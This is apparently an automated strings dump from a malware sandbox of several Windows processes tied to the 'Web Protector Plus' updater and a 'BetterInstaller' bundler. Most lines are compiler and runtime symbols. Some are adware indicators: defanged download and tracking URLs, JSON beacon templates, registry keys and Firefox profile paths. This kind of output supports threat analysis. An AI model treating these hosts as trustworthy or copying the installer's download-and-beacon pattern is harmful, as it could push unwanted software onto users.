std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IObserver *,class IObserver *,struct std::less<class IObserver *>,class std::allocator<struct std::pair<class IObserver * const,class IObserver *> >,0> > >::operator --
std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator ==
std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator   
std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator --
std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator *
std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator   
std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator ==
std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator --
std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator *
std::_List_const_iterator<class std::_List_val<class CConnectionsManagerSocket *,class std::allocator<class CConnectionsManagerSocket *> > >::operator   
std::_List_const_iterator<class std::_List_val<class CConnectionsManagerSocket *,class std::allocator<class CConnectionsManagerSocket *> > >::operator ==
std::_List_const_iterator<class std::_List_val<class CConnectionsManagerSocket *,class std::allocator<class CConnectionsManagerSocket *> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator --
f:\dd\vctools\crt_bld\self_x86\crt\src\xstring
f:\dd\vctools\crt_bld\self_x86\crt\src\streambuf
std::_String_const_iterator<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >::operator   
std::_String_const_iterator<unsigned short,struct std::char_traits<unsigned short>,class std::allocator<unsigned short> >::operator *
std::_String_const_iterator<unsigned short,struct std::char_traits<unsigned short>,class std::allocator<unsigned short> >::operator   
std::_String_const_iterator<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >::operator  =
std::_String_const_iterator<unsigned short,struct std::char_traits<unsigned short>,class std::allocator<unsigned short> >::operator  =
cf:\dd\vctools\crt_bld\self_x86\crt\src\dbgdel.cpp
f:\dd\vctools\crt_bld\self_x86\crt\src\sprintf.c
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
_CrtCheckMemory()
_CrtIsValidHeapPointer(pUserData)
_CrtSetDbgFlag
(fNewBits==_CRTDBG_REPORT_FLAG) || ((fNewBits & 0x0ffff & ~(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_DELAY_FREE_MEM_DF | _CRTDBG_CHECK_ALWAYS_DF | _CRTDBG_CHECK_CRT_DF | _CRTDBG_LEAK_CHECK_DF) ) == 0)
_CrtMemCheckpoint
f:\dd\vctools\crt_bld\self_x86\crt\src\printf.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fopen.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fread.c
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrpt.c
wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error")
memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot, sizeof(TCHAR) * 3)
wcscpy_s(szExeName, 260, L"<program name unknown>")
__crtMessageWindowW
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c
f:\dd\vctools\crt_bld\self_x86\crt\src\malloc.h
("Corrupted pointer passed to _freea", 0)
f:\dd\vctools\crt_bld\self_x86\crt\src\fclose.c
mscoree.dll
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbcpy.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsrchr.c
f:\dd\vctools\crt_bld\self_x86\crt\src\vsprintf.c
f:\dd\vctools\crt_bld\self_x86\crt\src\gmtime64.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbschr.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbscmp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsncmp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsncpy.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbcat.c
f:\dd\vctools\crt_bld\self_x86\crt\src\tcscpy_s.inl
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsstr.c
f:\dd\vctools\crt_bld\self_x86\crt\src\strlwr.c
f:\dd\vctools\crt_bld\self_x86\crt\src\wcsicmp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\stricmp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsicmp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\strnicmp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\feoferr.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fwrite.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mktime64.c
f:\dd\vctools\crt_bld\self_x86\crt\src\sscanf.c
f:\dd\vctools\crt_bld\self_x86\crt\src\loctim64.c
f:\dd\vctools\crt_bld\self_x86\crt\src\ftell.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fseek.c
f:\dd\vctools\crt_bld\self_x86\crt\src\access.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fputc.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fprintf.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fdopen.c
f:\dd\vctools\crt_bld\self_x86\crt\src\memicmp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\strtol.c
f:\dd\vctools\crt_bld\self_x86\crt\src\bsearch.c
f:\dd\vctools\crt_bld\self_x86\crt\src\stat64.c
f:\dd\vctools\crt_bld\self_x86\crt\src\tcsncpy_s.inl
f:\dd\vctools\crt_bld\self_x86\crt\src\tcscat_s.inl
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbcmp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fgets.c
strcpy_s(errmsg, (94 38 2), _get_sys_err_msg(errnum))
.sizeInTChars > 0
f:\dd\vctools\crt_bld\self_x86\crt\src\memmove_s.c
f:\dd\vctools\crt_bld\self_x86\crt\src\xtoa.c
f:\dd\vctools\crt_bld\self_x86\crt\src\strtod.c
f:\dd\vctools\crt_bld\self_x86\crt\src\a_cmp.c
("Invalid MBCS character sequence passed to strftime",0)
("Invalid MBCS character sequence passed into strftime",0)
f:\dd\vctools\crt_bld\self_x86\crt\src\memcpy_s.c
- Attempt to initialize the CRT more than once.
- CRT not initialized
- floating point support not loaded
wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), error_text)
wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"\n\n")
wcscpy_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"Runtime Error!\n\nProgram: ")
_NMSG_WRITE
f:\dd\vctools\crt_bld\self_x86\crt\src\crt0msg.c
f:\dd\vctools\crt_bld\self_x86\crt\prebuild\eh\typname.cpp
f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c
strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")
strcpy_s(szExeName, 260, "<program name unknown>")
__crtMessageWindowA
f:\dd\vctools\crt_bld\self_x86\crt\src\expand.c
f:\dd\vctools\crt_bld\self_x86\crt\src\localref.c
((ptloci->lc_category[category].wlocale != NULL) && (ptloci->lc_category[category].wrefcount != NULL)) || ((ptloci->lc_category[category].wlocale == NULL) && (ptloci->lc_category[category].wrefcount == NULL))
KERNEL32.DLL
f:\dd\vctools\crt_bld\self_x86\crt\src\isctype.c
f:\dd\vctools\crt_bld\self_x86\crt\src\_open.c
f:\dd\vctools\crt_bld\self_x86\crt\src\_filbuf.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fileno.c
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c
wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String")
strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error")
_VCrtDbgReportA
strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String")
wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error")
_VCrtDbgReportW
f:\dd\vctools\crt_bld\self_x86\crt\src\winsig.c
WUSER32.DLL
f:\dd\vctools\crt_bld\self_x86\crt\src\close.c
f:\dd\vctools\crt_bld\self_x86\crt\src\_freebuf.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbstok_s.inl
f:\dd\vctools\crt_bld\self_x86\crt\src\strtoq.c
f:\dd\vctools\crt_bld\self_x86\crt\src\intel\fp8.c
f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cvt.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsbtype.c
f:\dd\vctools\crt_bld\self_x86\crt\src\write.c
f:\dd\vctools\crt_bld\self_x86\crt\src\commit.c
f:\dd\vctools\crt_bld\self_x86\crt\src\timeset.c
f:\dd\vctools\crt_bld\self_x86\crt\prebuild\include\strgtold12.inl
f:\dd\vctools\crt_bld\self_x86\crt\src\lseek.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fstat64.c
f:\dd\vctools\crt_bld\self_x86\crt\src\open.c
0 && "Only UTF-16 little endian & UTF-8 is supported for reads"
f:\dd\vctools\crt_bld\self_x86\crt\src\dtoxtm64.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbscspn.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fullpath.c
f:\dd\vctools\crt_bld\self_x86\crt\src\getqloc.c
f:\dd\vctools\crt_bld\self_x86\crt\src\errmode.c
f:\dd\vctools\crt_bld\self_x86\crt\src\lseeki64.c
f:\dd\vctools\crt_bld\self_x86\crt\src\isatty.c
f:\dd\vctools\crt_bld\self_x86\crt\src\wctomb.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbicm.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbstowcs.c
f:\dd\vctools\crt_bld\self_x86\crt\src\vswprint.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbtowc.c
_loc_update.GetLocaleT()->locinfo->mb_cur_max == 1 || _loc_update.GetLocaleT()->locinfo->mb_cur_max == 2
f:\dd\vctools\crt_bld\self_x86\crt\src\strtok_s.inl
f:\dd\vctools\crt_bld\self_x86\crt\prebuild\tran\contrlfp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\_fptostr.c
strcpy_s(resultstr, resultsize, autofos.man)
f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cfout.c
f:\dd\vctools\crt_bld\self_x86\crt\src\getenv.c
f:\dd\vctools\crt_bld\self_x86\crt\src\ungetc_nolock.inl
f:\dd\vctools\crt_bld\self_x86\crt\src\setmode.c
f:\dd\vctools\crt_bld\self_x86\crt\src\getcwd.c
f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\x10fout.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbico.c
f:\dd\vctools\crt_bld\self_x86\crt\src\strnicol.c
("CRT Logic error during setenv",0)
__crtsetenv
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator --
\\.\jsdrv1,42,0,1812
stproxy.cpp
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xstring
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\list
std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator ==
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\vector
std::_Vector_const_iterator<class std::_Vector_val<struct json::Reader::Token,class std::allocator<struct json::Reader::Token> > >::operator *
std::_Vector_const_iterator<class std::_Vector_val<struct json::Reader::Token,class std::allocator<struct json::Reader::Token> > >::operator   
std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator *
std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator   
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xtree
std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator --
std::_Deque_const_iterator<class json::UnknownElement,class std::allocator<class json::UnknownElement> >::operator *
std::_Vector_const_iterator<class std::_Vector_val<struct json::Reader::Token,class std::allocator<struct json::Reader::Token> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<char,struct std::less<char>,class std::allocator<char>,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator ==
std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator *
std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator   
std::_String_const_iterator<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >::operator *
std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator  =
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<char,struct std::less<char>,class std::allocator<char>,0> > >::operator   
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\algorithm
invalid operator<
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<char,struct std::less<char>,class std::allocator<char>,0> > >::operator --
gstd::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator --
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\memory
std::_Deque_const_iterator<class json::UnknownElement,class std::allocator<class json::UnknownElement> >::operator   
1,42,0,1812

LiveUpdateWPP.exe_3316:




.text
`.rdata
@.data
.rsrc
@.reloc
j.Yf;
_tcPVj@
.PjRW
function not supported
operation canceled
address_family_not_supported
operation_in_progress
operation_not_supported
protocol_not_supported
operation_would_block
address family not supported
broken pipe
inappropriate io control operation
not supported
operation in progress
operation not permitted
operation not supported
operation would block
protocol not supported
%b %d %H : %M : %S %Y
%m / %d / %y
%I : %M : %S %p
%d / %m / %y
0123456789-
GetProcessWindowStation
operator
()$^.* ?[]|\-{},:=!
WTSAPI32.dll
USERENV.dll
WinHttpReceiveResponse
WinHttpSetOption
WinHttpSendRequest
WinHttpConnect
WinHttpCloseHandle
WinHttpQueryHeaders
WinHttpQueryDataAvailable
WinHttpOpen
WinHttpOpenRequest
WinHttpCrackUrl
WinHttpReadData
WINHTTP.dll
KERNEL32.dll
USER32.dll
ReportEventW
RegOpenKeyExW
RegCloseKey
ADVAPI32.dll
SHELL32.dll
GetCPInfo
GetProcessHeap
zcÁ
.?AVARegKey@@
.?AVASysWriteKey@@
.?AVASysRegKey@@
<requestedExecutionLevel level='asInvoker' uiAccess='false' />
11
1&1.171@1`1
2%2F2N2
8$9(9,909
2$2,282\2|2
5,585\5|5
1 1<1@1\1`1|1
? ?$?(?,?0?4?`?
kernel32.dll
mscoree.dll
- CRT not initialized
- Attempt to initialize the CRT more than once.
- floating point support not loaded
USER32.DLL
portuguese-brazilian
{"protocol":{ "version": "1","command":"status"},"service":{"version":"1","id":"%s","src":"%s"},"status":{"code":"%d","cid":"%s"},"client":{"version":"%s"}}
{"protocol":{ "version": "1","command":"ping"},"service":{"version":"1","id":"%s","src":"%s","lcid":"%s"},"client":{"version":"%s"}}
urls
Anti-phishing database updater for Web Protector Plus. This service keeps your computer updated with the newest database of known Internet threats.
2.1.0.54
%Program Files% (x86)\LiveUpdateWPP\LiveUpdateWPP.exe
Maintaining Web Protector Plus synchronized.
LiveWPPUpdate.exe

WebProtectorPlus.exe_4876:




.text
`.rdata
@.data
.rsrc
vSSSh
FTPjK
FtPj;
C.PjRV
Please contact the application's support team for more information.
- Attempt to initialize the CRT more than once.
- CRT not initialized
- floating point support not loaded
portuguese-brazilian
operator
GetProcessWindowStation
USER32.DLL
X-X-X-XX-XXXXXX
SOFTWARE\WebProtectorPlus\Notify\
SOFTWARE\WebProtectorPlus\
SOFTWARE\Microsoft\Windows NT\CurrentVersion\
SOFTWARE\Microsoft\Windows NT\
hXXp://stat.webprotectionfree.com/pin.gif?e=remove&s=
hXXp://stat.webprotectionfree.com/pin.gif?e=tracking&s=
Shell32.dll
hXXp://webprotectorplus.com
hXXp://webprotectionfree.com/c/SetupComponents.exe
SetupComponents.exe
Software\WebProtectorPlus\Notify
d:\Project\_Bibyte\WebProtectorPlus NO DLL\Release\WebProtectorPlus NO DLL.pdb
COMCTL32.dll
InternetOpenUrlA
WININET.dll
SHLWAPI.dll
KERNEL32.dll
USER32.dll
RegCreateKeyExA
RegCloseKey
RegOpenKeyExA
ADVAPI32.dll
ShellExecuteA
SHELL32.dll
ole32.dll
GetCPInfo
GetConsoleOutputCP
zcÁ
%Program Files% (x86)\WebProtectorPlus\WebProtectorPlus.exe
<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
mscoree.dll
KERNEL32.DLL

IEXPLORE.EXE_4920:




.text
`.data
.idata
.rsrc
@.reloc
u\j.Xf9
j.Xf9
USER32.dll
api-ms-win-downlevel-shell32-l1-1-0.dll
IEFRAME.dll
SHELL32.dll
iexplore.pdb
api-ms-win-downlevel-shlwapi-l1-1-0.dll
iertutil.dll
api-ms-win-downlevel-advapi32-l1-1-0.dll
KERNEL32.dll
msvcrt.dll
_wcmdln
_amsg_exit
RegOpenKeyExW
RegCloseKey
<!-- Note: This manifest needs to be kept in sync with iexplore.exe.manifest -->
<assemblyIdentity version="5.1.0.0"
name="Microsoft.InternetExplorer"
<windowsSettings>
<dpiAware xmlns="hXXp://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>
</windowsSettings>
<!--The ID below indicates application support for Windows 8 -->
<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>
KEYW
.ENNNG.
a.ry.v
l.igM4
?1%SGf
xh.JW^
.97777"7" " " !
3.... )) 
8888888888888
8888888888
.lPV)
úW1
.ApX/
H.ZAf
ð[U
%s!FK
1YYYY1YY9GEAA=77YRNNNW:.VT1
888777777
Y.hilkRROMLK=C,
..(((($$
3...((((%
3....(.''$
3.2...((((%
33.2....(,'
55323222...
(%&'00443445?
00.,,,4(
000.,,9(
0020..9(
003200;(
(#'( (''''!'!
Microsoft.InternetExplorer.Default
Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe
{28fb17e0-d393-439d-9a21-9474a070473a}
imm32.dll
Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11cf-8B85-00AA005B4383}
Kernel32.dll
"%s" %s
kernel32.dll
IEXPLORE.EXE
{00000000-0000-0000-0000-000000000000}
\\?\Volume
Imaging_CreateWebPagePreview_Perftrack
Browseui_Tabs_Tearoff_BetweenWindows
Browseui_Tabs_Tearoff_BetweenWindows_TabProc
Frame_URLEntered
Imaging_CreateWebPagePreview
WS_ExecuteQuery
Shdocvw_BaseBrowser_FireEvent_WindowStateChanged
IdleTask_Execution_Time
Shdocvw_BaseBrowser_FireEvent_BeforeScriptExecute
IMTravelLogMVC_TravelURL
10.00.9200.16521 (win8_gdr_soc_ie.130216-2100)
Windows
10.00.9200.16521

biclient.exe_4120:




.text
`.rdata
@.data
.rsrc
@.reloc
PSShP
SSSSh
RegDeleteKeyExW
FtpCommandW
XXXXXXXXXXXX
kernel32.dll
Please contact the application's support team for more information.
- Attempt to initialize the CRT more than once.
- CRT not initialized
- floating point support not loaded
GetProcessWindowStation
USER32.DLL
operator
d:\mTech\somoto\new_svn\BetterInstaller\BetterInstaller\Release\BetterInstaller.pdb
HttpSendRequestW
HttpQueryInfoW
HttpAddRequestHeadersW
HttpOpenRequestW
InternetCrackUrlW
WININET.dll
PSAPI.DLL
IPHLPAPI.DLL
GetProcessHeap
KERNEL32.dll
CreateDialogIndirectParamW
USER32.dll
GDI32.dll
COMDLG32.dll
CryptSetKeyParam
CryptImportKey
CryptDestroyKey
RegDeleteKeyW
RegCloseKey
RegCreateKeyExW
RegOpenKeyExW
RegQueryInfoKeyW
RegEnumKeyExW
RegOpenKeyW
ADVAPI32.dll
ShellExecuteW
ShellExecuteExW
SHELL32.dll
ole32.dll
OLEAUT32.dll
SHLWAPI.dll
USERENV.dll
GetCPInfo
GetConsoleOutputCP
.?AUIHTMLOMWindowServices@@
.?AV?$CAtlExeModuleT@VCBetterInstallerModule@@@ATL@@
'BetterInstaller.EXE'
Created by MIDL version 7.00.0500 at Tue Nov 08 16:10:48 2011
<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
<assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="*" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity>
1"2-2:2]2
:!:&:0:>:~:
: <'<-<`<
{C85A8C97-E040-4924-8E1D-693560EE116E}
WAdvapi32.dll
HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE
HKEY_USERS
HKEY_PERFORMANCE_DATA
HKEY_DYN_DATA
HKEY_CURRENT_CONFIG
Mscoree.dll
OLEAUT32.DLL
%u kB
%u bytes
Range: bytes=%d-%d
Range: bytes=%d-
%d:d:d
%s - %s
Wwininet.dll
r%s.%d
"%s" %s
%s (%d)%s
*.TXT
%d.%d.%d %s %sbit
<memory>%d</memory>
%DOCUMENTS%
ÞSKTOP%
hXXp://installer.filebulldog.com
%s\Mozilla\Firefox\%s\prefs.js
%s\Mozilla\Firefox\profiles.ini
biDeleteRegistryKey
biGetExecutionArguments
biCreateRegistryKey
biExistRegistryKey
Better Installer(Mozilla)
%s/%s/%s/%s?v=%s&muid=%s
%s/downloader/%s/%s/%s?v=%s&muid=%s
Preparing %s...
ekernel32.dll
mscoree.dll
KERNEL32.DLL
Open URL Error
URL Parts Error
FtpCreateDir failed (550)
Error FTP path (550)
hXXp://download.filesfrog.com/software_files/7_zip/9_20/7z920.exe
llGenieo.exe
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe
ieo.exe
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe
{8856F961-340A-11D0-A96B-00C04FD705A2}
2.0.0.0
BetterInstaller.exe

IEXPLORE.EXE_4920_rwx_00376000_00001000:




api-ms-win-downlevel-shlwapi-l1-1-0.dll
iertutil.dll
api-ms-win-downlevel-advapi32-l1-1-0.dll
KERNEL32.dll
msvcrt.dll
_wcmdln
_amsg_exit
RegOpenKeyExW
RegCloseKey

WerFault.exe_3360:




.text
`.data
.rsrc
@.reloc
ADVAPI32.dll
ntdll.DLL
KERNEL32.dll
USER32.dll
msvcrt.dll
ole32.dll
OLEAUT32.dll
SHLWAPI.dll
IMM32.dll
wer.dll
COMCTL32.dll
faultrep.dll
.Uu;AUuNDUu
Tu.AUu
;IwBDIwz.Iw
Starting kernel vertical - %S
rundll32.exe
